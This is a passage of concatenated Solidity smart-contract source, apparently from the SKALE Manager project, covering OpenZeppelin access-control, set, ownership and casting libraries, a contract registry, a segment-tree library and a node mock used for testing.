grant"); _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke"); _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { _roles[role].adminRole = adminRole; } function _grantRole(bytes32 role, address account) private { if (_roles[role].members.add(account)) { emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (_roles[role].members.remove(account)) { emit RoleRevoked(role, account, _msgSender()); } } uint256[49] private __gap; } // SPDX-License-Identifier: AGPL-3.0-only /* ContractManager.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "@openzeppelin/contracts-ethereum-package/contracts/access/Ownable.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/utils/Address.sol"; import "./utils/StringUtils.sol"; /** * @title ContractManager * @dev Contract contains the actual current mapping from contract IDs * (in the form of human-readable strings) to addresses. */ contract ContractManager is OwnableUpgradeSafe { using StringUtils for string; using Address for address; string public constant BOUNTY = "Bounty"; string public constant CONSTANTS_HOLDER = "ConstantsHolder"; string public constant DELEGATION_PERIOD_MANAGER = "DelegationPeriodManager"; string public constant PUNISHER = "Punisher"; string public constant SKALE_TOKEN = "SkaleToken"; string public constant TIME_HELPERS = "TimeHelpers"; string public constant TOKEN_STATE = "TokenState"; string public constant VALIDATOR_SERVICE = "ValidatorService"; // mapping of actual smart contracts addresses mapping (bytes32 => address) public contracts; /** * @dev Emitted when contract is upgraded. */ event ContractUpgraded(string contractsName, address contractsAddress); function initialize() external initializer { OwnableUpgradeSafe.__Ownable_init(); } /** * @dev Allows the Owner to add contract to mapping of contract addresses. * * Emits a {ContractUpgraded} event. * * Requirements: * * - New address is non-zero. * - Contract is not already added. * - Contract address contains code. */ function setContractsAddress(string calldata contractsName, address newContractsAddress) external onlyOwner { // check newContractsAddress is not equal to zero require(newContractsAddress != address(0), "New address is equal zero"); // create hash of contractsName bytes32 contractId = keccak256(abi.encodePacked(contractsName)); // check newContractsAddress is not equal the previous contract's address require(contracts[contractId] != newContractsAddress, "Contract is already added"); require(newContractsAddress.isContract(), "Given contract address does not contain code"); // add newContractsAddress to mapping of actual contract addresses contracts[contractId] = newContractsAddress; emit ContractUpgraded(contractsName, newContractsAddress); } /** * @dev Returns contract address. * * Requirements: * * - Contract must exist. */ function getDelegationPeriodManager() external view returns (address) { return getContract(DELEGATION_PERIOD_MANAGER); } function getBounty() external view returns (address) { return getContract(BOUNTY); } function getValidatorService() external view returns (address) { return getContract(VALIDATOR_SERVICE); } function getTimeHelpers() external view returns (address) { return getContract(TIME_HELPERS); } function getConstantsHolder() external view returns (address) { return getContract(CONSTANTS_HOLDER); } function getSkaleToken() external view returns (address) { return getContract(SKALE_TOKEN); } function getTokenState() external view returns (address) { return getContract(TOKEN_STATE); } function getPunisher() external view returns (address) { return getContract(PUNISHER); } function getContract(string memory name) public view returns (address contractAddress) { contractAddress = contracts[keccak256(abi.encodePacked(name))]; if (contractAddress == address(0)) { revert(name.strConcat(" contract has not been found")); } } } pragma solidity ^0.6.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256` * (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } } pragma solidity ^0.6.0; import "../Initializable.sol"; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract ContextUpgradeSafe is Initializable { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } uint256[50] private __gap; } pragma solidity >=0.4.24 <0.7.0; /** * @title Initializable * * @dev Helper contract to support initializer functions. To use it, replace * the constructor with a function that has the `initializer` modifier. * WARNING: Unlike constructors, initializer functions must be manually * invoked. This applies both to deploying an Initializable contract, as well * as extending an Initializable contract via inheritance. * WARNING: When used with inheritance, manual care must be taken to not invoke * a parent initializer twice, or ensure that all initializers are idempotent, * because this is not dealt with automatically as with constructors. */ contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private initializing; /** * @dev Modifier to use in the initializer function of a contract. */ modifier initializer() { require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized"); bool isTopLevelCall = !initializing; if (isTopLevelCall) { initializing = true; initialized = true; } _; if (isTopLevelCall) { initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function isConstructor() private view returns (bool) { // extcodesize checks the size of the code stored in an address, and // address returns the current address. Since the code is still not // deployed when running a constructor, any checks on its code size will // yield zero, making it an effective way to detect if a contract is // under construction or not. address self = address(this); uint256 cs; assembly { cs := extcodesize(self) } return cs == 0; } // Reserved storage space to allow for layout changes in the future. uint256[50] private ______gap; } pragma solidity ^0.6.0; import "../GSN/Context.sol"; import "../Initializable.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract OwnableUpgradeSafe is Initializable, ContextUpgradeSafe { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal initializer { __Context_init_unchained(); __Ownable_init_unchained(); } function __Ownable_init_unchained() internal initializer { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } uint256[49] private __gap; } // SPDX-License-Identifier: AGPL-3.0-only /* StringUtils.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Vadim Yavorsky SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol"; library StringUtils { using SafeMath for uint; function strConcat(string memory a, string memory b) internal pure returns (string memory) { bytes memory _ba = bytes(a); bytes memory _bb = bytes(b); string memory ab = new string(_ba.length.add(_bb.length)); bytes memory strBytes = bytes(ab); uint k = 0; uint i = 0; for (i = 0; i < _ba.length; i++) { strBytes[k++] = _ba[i]; } for (i = 0; i < _bb.length; i++) { strBytes[k++] = _bb[i]; } return string(strBytes); } } pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's uintXX casting operators with added overflow * checks. * * Downcasting from uint256 in Solidity does not revert on overflow. This can * easily result in undesired exploitation or bugs, since developers usually * assume that overflows raise errors. `SafeCast` restores this intuition by * reverting the transaction when such an operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. * * Can be combined with {SafeMath} to extend it to smaller types, by performing * all math on `uint256` and then downcasting. */ library SafeCast { /** * @dev Returns the downcasted uint128 from uint256, reverting on * overflow (when the input is greater than largest uint128). * * Counterpart to Solidity's `uint128` operator. * * Requirements: * * - input must fit into 128 bits */ function toUint128(uint256 value) internal pure returns (uint128) { require(value < 2**128, "SafeCast: value doesn\'t fit in 128 bits"); return uint128(value); } /** * @dev Returns the downcasted uint64 from uint256, reverting on * overflow (when the input is greater than largest uint64). * * Counterpart to Solidity's `uint64` operator. * * Requirements: * * - input must fit into 64 bits */ function toUint64(uint256 value) internal pure returns (uint64) { require(value < 2**64, "SafeCast: value doesn\'t fit in 64 bits"); return uint64(value); } /** * @dev Returns the downcasted uint32 from uint256, reverting on * overflow (when the input is greater than largest uint32). * * Counterpart to Solidity's `uint32` operator. * * Requirements: * * - input must fit into 32 bits */ function toUint32(uint256 value) internal pure returns (uint32) { require(value < 2**32, "SafeCast: value doesn\'t fit in 32 bits"); return uint32(value); } /** * @dev Returns the downcasted uint16 from uint256, reverting on * overflow (when the input is greater than largest uint16). * * Counterpart to Solidity's `uint16` operator. * * Requirements: * * - input must fit into 16 bits */ function toUint16(uint256 value) internal pure returns (uint16) { require(value < 2**16, "SafeCast: value doesn\'t fit in 16 bits"); return uint16(value); } /** * @dev Returns the downcasted uint8 from uint256, reverting on * overflow (when the input is greater than largest uint8). * * Counterpart to Solidity's `uint8` operator. * * Requirements: * * - input must fit into 8 bits. */ function toUint8(uint256 value) internal pure returns (uint8) { require(value < 2**8, "SafeCast: value doesn\'t fit in 8 bits"); return uint8(value); } /** * @dev Converts a signed int256 into an unsigned uint256. * * Requirements: * * - input must be greater than or equal to 0. */ function toUint256(int256 value) internal pure returns (uint256) { require(value >= 0, "SafeCast: value must be positive"); return uint256(value); } /** * @dev Converts an unsigned uint256 into a signed int256. * * Requirements: * * - input must be less than or equal to maxInt256. */ function toInt256(uint256 value) internal pure returns (int256) { require(value < 2**255, "SafeCast: value doesn't fit in an int256"); return int256(value); } } // SPDX-License-Identifier: AGPL-3.0-only /* SegmentTree.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol"; /** * @title Random * @dev The library for generating of pseudo random numbers */ library Random { using SafeMath for uint; struct RandomGenerator { uint seed; } /** * @dev Create an instance of RandomGenerator */ function create(uint seed) internal pure returns (RandomGenerator memory) { return RandomGenerator({seed: seed}); } function createFromEntropy(bytes memory entropy) internal pure returns (RandomGenerator memory) { return create(uint(keccak256(entropy))); } /** * @dev Generates random value */ function random(RandomGenerator memory self) internal pure returns (uint) { self.seed = uint(sha256(abi.encodePacked(self.seed))); return self.seed; } /** * @dev Generates random value in range [0, max) */ function random(RandomGenerator memory self, uint max) internal pure returns (uint) { assert(max > 0); uint maxRand = uint(-1).sub(uint(-1).mod(max)); if (uint(-1).sub(maxRand) == max.sub(1)) { return random(self).mod(max); } else { uint rand = random(self); while (rand >= maxRand) { rand = random(self); } return rand.mod(max); } } /** * @dev Generates random value in range [min, max) */ function random(RandomGenerator memory self, uint min, uint max) internal pure returns (uint) { assert(min < max); return min.add(random(self, max.sub(min))); } } // SPDX-License-Identifier: AGPL-3.0-only /* SegmentTree.sol - SKALE Manager Copyright (C) 2021-Present SKALE Labs @author Artem Payvin @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol"; import "./Random.sol"; /** * @title SegmentTree * @dev This library implements segment tree data structure * * Segment tree allows effectively calculate sum of elements in sub arrays * by storing some amount of additional data. * * IMPORTANT: Provided implementation assumes that arrays is indexed from 1 to n. * Size of initial array always must be power of 2 * * Example: * * Array: * +---+---+---+---+---+---+---+---+ * | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | * +---+---+---+---+---+---+---+---+ * * Segment tree structure: * +-------------------------------+ * | 36 | * +---------------+---------------+ * | 10 | 26 | * +-------+-------+-------+-------+ * | 3 | 7 | 11 | 15 | * +---+---+---+---+---+---+---+---+ * | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | * +---+---+---+---+---+---+---+---+ * * How the segment tree is stored in an array: * +----+----+----+---+---+----+----+---+---+---+---+---+---+---+---+ * | 36 | 10 | 26 | 3 | 7 | 11 | 15 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | * +----+----+----+---+---+----+----+---+---+---+---+---+---+---+---+ */ library SegmentTree { using Random for Random.RandomGenerator; using SafeMath for uint; struct Tree { uint[] tree; } /** * @dev Allocates storage for segment tree of `size` elements * * Requirements: * * - `size` must be greater than 0 * - `size` must be power of 2 */ function create(Tree storage segmentTree, uint size) external { require(size > 0, "Size can't be 0"); require(size & size.sub(1) == 0, "Size is not power of 2"); segmentTree.tree = new uint[](size.mul(2).sub(1)); } /** * @dev Adds `delta` to element of segment tree at `place` * * Requirements: * * - `place` must be in range [1, size] */ function addToPlace(Tree storage self, uint place, uint delta) external { require(_correctPlace(self, place), "Incorrect place"); uint leftBound = 1; uint rightBound = getSize(self); uint step = 1; self.tree[0] = self.tree[0].add(delta); while(leftBound < rightBound) { uint middle = leftBound.add(rightBound).div(2); if (place > middle) { leftBound = middle.add(1); step = step.add(step).add(1); } else { rightBound = middle; step = step.add(step); } self.tree[step.sub(1)] = self.tree[step.sub(1)].add(delta); } } /** * @dev Subtracts `delta` from element of segment tree at `place` * * Requirements: * * - `place` must be in range [1, size] * - initial value of target element must be not less than `delta` */ function removeFromPlace(Tree storage self, uint place, uint delta) external { require(_correctPlace(self, place), "Incorrect place"); uint leftBound = 1; uint rightBound = getSize(self); uint step = 1; self.tree[0] = self.tree[0].sub(delta); while(leftBound < rightBound) { uint middle = leftBound.add(rightBound).div(2); if (place > middle) { leftBound = middle.add(1); step = step.add(step).add(1); } else { rightBound = middle; step = step.add(step); } self.tree[step.sub(1)] = self.tree[step.sub(1)].sub(delta); } } /** * @dev Adds `delta` to element of segment tree at `toPlace` * and subtracts `delta` from element at `fromPlace` * * Requirements: * * - `fromPlace` must be in range [1, size] * - `toPlace` must be in range [1, size] * - initial value of element at `fromPlace` must be not less than `delta` */ function moveFromPlaceToPlace( Tree storage self, uint fromPlace, uint toPlace, uint delta ) external { require(_correctPlace(self, fromPlace) && _correctPlace(self, toPlace), "Incorrect place"); uint leftBound = 1; uint rightBound = getSize(self); uint step = 1; uint middle = leftBound.add(rightBound).div(2); uint fromPlaceMove = fromPlace > toPlace ? toPlace : fromPlace; uint toPlaceMove = fromPlace > toPlace ? fromPlace : toPlace; while (toPlaceMove <= middle || middle < fromPlaceMove) { if (middle < fromPlaceMove) { leftBound = middle.add(1); step = step.add(step).add(1); } else { rightBound = middle; step = step.add(step); } middle = leftBound.add(rightBound).div(2); } uint leftBoundMove = leftBound; uint rightBoundMove = rightBound; uint stepMove = step; while(leftBoundMove < rightBoundMove && leftBound < rightBound) { uint middleMove = leftBoundMove.add(rightBoundMove).div(2); if (fromPlace > middleMove) { leftBoundMove = middleMove.add(1); stepMove = stepMove.add(stepMove).add(1); } else { rightBoundMove = middleMove; stepMove = stepMove.add(stepMove); } self.tree[stepMove.sub(1)] = self.tree[stepMove.sub(1)].sub(delta); middle = leftBound.add(rightBound).div(2); if (toPlace > middle) { leftBound = middle.add(1); step = step.add(step).add(1); } else { rightBound = middle; step = step.add(step); } self.tree[step.sub(1)] = self.tree[step.sub(1)].add(delta); } } /** * @dev Returns random position in range [`place`, size] * with probability proportional to value stored at this position. * If all element in range are 0 returns 0 * * Requirements: * * - `place` must be in range [1, size] */ function getRandomNonZeroElementFromPlaceToLast( Tree storage self, uint place, Random.RandomGenerator memory randomGenerator ) external view returns (uint) { require(_correctPlace(self, place), "Incorrect place"); uint vertex = 1; uint leftBound = 0; uint rightBound = getSize(self); uint currentFrom = place.sub(1); uint currentSum = sumFromPlaceToLast(self, place); if (currentSum == 0) { return 0; } while(leftBound.add(1) < rightBound) { if (_middle(leftBound, rightBound) <= currentFrom) { vertex = _right(vertex); leftBound = _middle(leftBound, rightBound); } else { uint rightSum = self.tree[_right(vertex).sub(1)]; uint leftSum = currentSum.sub(rightSum); if (Random.random(randomGenerator, currentSum) < leftSum) { // go left vertex = _left(vertex); rightBound = _middle(leftBound, rightBound); currentSum = leftSum; } else { // go right vertex = _right(vertex); leftBound = _middle(leftBound, rightBound); currentFrom = leftBound; currentSum = rightSum; } } } return leftBound.add(1); } /** * @dev Returns sum of elements in range [`place`, size] * * Requirements: * * - `place` must be in range [1, size] */ function sumFromPlaceToLast(Tree storage self, uint place) public view returns (uint sum) { require(_correctPlace(self, place), "Incorrect place"); if (place == 1) { return self.tree[0]; } uint leftBound = 1; uint rightBound = getSize(self); uint step = 1; while(leftBound < rightBound) { uint middle = leftBound.add(rightBound).div(2); if (place > middle) { leftBound = middle.add(1); step = step.add(step).add(1); } else { rightBound = middle; step = step.add(step); sum = sum.add(self.tree[step]); } } sum = sum.add(self.tree[step.sub(1)]); } /** * @dev Returns amount of elements in segment tree */ function getSize(Tree storage segmentTree) internal view returns (uint) { if (segmentTree.tree.length > 0) { return segmentTree.tree.length.div(2).add(1); } else { return 0; } } /** * @dev Checks if `place` is valid position in segment tree */ function _correctPlace(Tree storage self, uint place) private view returns (bool) { return place >= 1 && place <= getSize(self); } /** * @dev Calculates index of left child of the vertex */ function _left(uint vertex) private pure returns (uint) { return vertex.mul(2); } /** * @dev Calculates index of right child of the vertex */ function _right(uint vertex) private pure returns (uint) { return vertex.mul(2).add(1); } /** * @dev Calculates arithmetical mean of 2 numbers */ function _middle(uint left, uint right) private pure returns (uint) { return left.add(right).div(2); } } // SPDX-License-Identifier: AGPL-3.0-only /* ILocker.sol - SKALE Manager Copyright (C) 2019-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; /** * @dev Interface of the Locker functions. */ interface ILocker { /** * @dev Returns and updates the total amount of locked tokens of a given * `holder`. */ function getAndUpdateLockedAmount(address wallet) external returns (uint); /** * @dev Returns and updates the total non-transferrable and un-delegatable * amount of a given `holder`. */ function getAndUpdateForbiddenForDelegationAmount(address wallet) external returns (uint); } // SPDX-License-Identifier: AGPL-3.0-only /* NodesMock.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "../BountyV2.sol"; import "../Permissions.sol"; contract NodesMock is Permissions { uint public nodesCount = 0; uint public nodesLeft = 0; // nodeId => timestamp mapping (uint => uint) public lastRewardDate; // nodeId => left mapping (uint => bool) public nodeLeft; // nodeId => validatorId mapping (uint => uint) public owner; function registerNodes(uint amount, uint validatorId) external { for (uint nodeId = nodesCount; nodeId < nodesCount + amount; ++nodeId) { lastRewardDate[nodeId] = now; owner[nodeId] = validatorId; } nodesCount += amount; } function removeNode(uint nodeId) external { ++nodesLeft; nodeLeft[nodeId] = true; } function changeNodeLastRewardDate(uint nodeId) external { lastRewardDate[nodeId] = now; } function getNodeLastRewardDate(uint nodeIndex) external view returns (uint) { require(nodeIndex < nodesCount, "Node does not exist"); return lastRewardDate[nodeIndex]; } function isNodeLeft(uint nodeId) external view returns (bool) { return nodeLeft[nodeId]; } function getNumberOnlineNodes() external view returns (uint) { return nodesCount.sub(nodesLeft); } function checkPossibilityToMaintainNode(uint /* validatorId */, uint /* nodeIndex */) external pure returns (bool) { return true; } function getValidatorId(uint nodeId) external view returns (uint) { return owner[nodeId]; } } // SPDX-License-Identifier: AGPL-3.0-only /* SkaleManagerMock.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import 